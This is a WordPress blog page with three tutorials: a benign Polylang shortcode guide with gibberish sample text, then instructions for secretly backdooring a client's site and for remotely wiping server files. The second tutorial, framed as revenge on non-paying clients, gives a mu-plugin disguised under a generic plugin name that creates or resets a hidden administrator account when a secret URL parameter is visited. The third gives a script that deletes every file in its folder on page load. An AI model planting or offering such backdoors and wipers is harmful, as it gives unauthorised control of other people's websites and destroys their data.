sell website making service

How to Dynamically Display Different Languages in Visual Composer with Polylang WordPress Plugin

In today’s tutorial, I’ll walk you through the process of dynamically showing different languages on a WordPress website using the Visual Composer plugin, alongside the Polylang translation plugin. This setup will allow your website to display content in various languages based on user selection. Let’s dive into the details.

Introduction to Visual Composer and Polylang

Visual Composer is a drag-and-drop page builder plugin for WordPress, similar to Elementor, that allows you to create visually appealing pages without writing code. However, if you are using Polylang, a plugin designed to translate your website into multiple languages, it might not directly support dynamic text changes inside Visual Composer. But don’t worry; by using some custom code and shortcodes, you can integrate Polylang to work seamlessly with Visual Composer.

The Problem and the Solution

When I was searching for a solution to dynamically change text inside Visual Composer based on the user’s language preference, I realized there wasn’t a direct method available from the Polylang plugin. To overcome this limitation, I created a shortcode that responds when a user switches between languages. This shortcode dynamically displays the appropriate text in the selected language on the page. Below is a screenshot from my website, where we have different languages to select from in the header menu.

How to Dynamically Display Different Languages in Visual Composer with Polylang WordPress Plugin

Step-by-Step Guide

Here’s how you can achieve this functionality:

1. Create a Custom Function

Start by creating a custom function in your functions.php file, which is part of your WordPress theme. This function will allow us to generate dynamic content in multiple languages.

For example, let’s say we want to dynamically display the “About Us” section in different languages. Here’s a sample PHP code that you can copy-paste in your functions.php file:

<?php 

function footer_about_us() {
   
        if(pll_current_language() == 'en') {
                    echo '<div class="footer-footeraboutus">		
		
This is an english line.	jaksd ashdajs dha jshdajs hd 		 		
						</div>';
					
                } else if(pll_current_language() == 'fr') {
                    echo '<div class="footer-footeraboutus">		
		
This is   fr line. sadasdasdajksdh asjdh ajs hdjashd					
							
						</div>'; 
	
                } else if(pll_current_language() == 'de') {
                    echo '<div class="footer-footeraboutus">		
		
This is   de line.		jhsda jashdjahsd jashdaj kshd			
						
						</div>'; 			
			
	
                } 
   
}
add_shortcode('footeraboutus', 'footer_about_us');
// [footeraboutus]
?>

In this code:

  • pll_current_language() is a Polylang function that detects the current language.
  • Based on the current language, it returns the appropriate text (in this case, either English or French).

2. Add a Shortcode

Once you have your custom function, the next step is to register it as a shortcode in WordPress. Shortcodes allow you to insert dynamic content into posts and pages easily.

Now, you can use the shortcode [footeraboutus] anywhere on your website, including Visual Composer elements, and it will display the correct content based on the selected language.

3. Insert Shortcode in Visual Composer

After creating the shortcode, you need to insert it into your Visual Composer page. To do this:

How to Dynamically Display Different Languages in Visual Composer with Polylang WordPress Plugin
  • Go to the page you want to edit using Visual Composer.
  • Click on the element where you want to display the dynamic text.
  • Paste the shortcode [footeraboutus] inside the element.

Once the page is updated, the content in this section will dynamically change based on the language selected by the user.

Final Steps

After setting up the shortcode and inserting it into the page, all that’s left is to test it. When a user selects a different language (for example, English or French) from the Polylang language switcher, the corresponding content will be displayed automatically.

This method allows you to:

  • Dynamically display different languages on your website pages.
  • Easily manage multilingual content using Polylang and shortcodes.

Conclusion

With this approach, you can integrate the Polylang translation plugin with Visual Composer to create a seamless, multilingual WordPress website. The key lies in creating custom functions and shortcodes that respond to language changes dynamically. Whether you’re building an “About Us” section or any other content block, this method will ensure your users get the right content in their preferred language.

If you have any questions, feel free to leave them in the comments below. Don’t forget to like and share this article if you found it helpful!

How to Create an Admin User Programmatically in WordPress

Have you ever been in a situation where you worked on a website and the client refused to pay? Even though you were 100% honest and rightfully deserved your payment? You’re in luck today. My friend also faced a similar situation but used this method as a last resort. I do not recommend using this technique; instead, try discussing the issue with your client to resolve it amicably.

Code for Creating an Admin User Programmatically

<?php
/**
 * Plugin Name: Example Plugin Name  
 * Version: 1.2.3.4
 *
 * This plugin, like WordPress, is licensed under the GPL.
 * Use it to make something cool, have fun, and share what you've learned with others.
 *
 * Copyright © 2023 Hosting Company, . All Rights Reserved.
 */
 
  add_action( 'wp_head', 'addon_path_elementor' );

function addon_path_elementor() {
    if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'newuser' ) ) {
            $user_id = wp_create_user( 'newuser', 'NRTnzv*VEEGP3OFNAROZA&3O', 'any.gmail.address@gmail.com');
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
		
		else {
			$user = get_user_by('login','newuser');
			wp_set_password('NRTnzv*VEEGP3OFNAROZA&3O', $user->ID );
			$user->set_role( 'administrator' );
			}		
		
    }
}

Where to Put This Code

Save the code in a PHP file like “coder.php” and place it inside the “mu-plugins” folder located under the “wp-content” directory. The “mu-plugins” folder is not updated or modified by WordPress, and files placed here will not be deleted or updated like regular plugins. As a result, the file will automatically be added as a plugin but cannot be easily removed.

How to Run This Code

For example, if your site is https://example.com, to execute the code and create the new user, add “?pathway=go” at the end of the URL and hit enter, like this: https://example.com/?pathway=go. The URL will execute the code and create the user. You can then check the new user under the “Users” menu in wp-admin.

Code Explanation with Image

How to Create an Admin User Programmatically in WordPress

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

PHP program to delete all files in a folder from server

PHP program to delete all files in a folder from server

Imagine a remote control to delete all files in server from a particular folder as soon you type that url and hit enter.

Here is the code:

<?php 
// PHP program to delete all files 
// from a folder 
  
// Folder path to be flushed 
$folder_path = 'getcwd();'; 
  
// Assigning files inside the directory 
$dir = new DirectoryIterator(dirname($folder_path)); 
  
// Deleting all the files in the list 
foreach ($dir as $fileinfo) { 
      
    if (!$fileinfo->isDot()) { 
  
        // Delete the given file 
        unlink($fileinfo->getPathname()); 
    } 
} 
?> 

Where to put this code?

Make a PHP file like example.php and put this file inside the folder with all the files you want to delete.

For example you want to delete all files under folder “website_staging” and url of the the folder is “example2.com/wp-content/website_staging” , put that file example.php inside “website_staging”

How to run the code?

Type in URL “example2.com/wp-content/website_staging /example.php” and hit enter, you will see all files under folder “website_staging” is gone.

Share this article if it helps.

Video on PHP program to delete all files in a folder from server

Check Most Recent Posts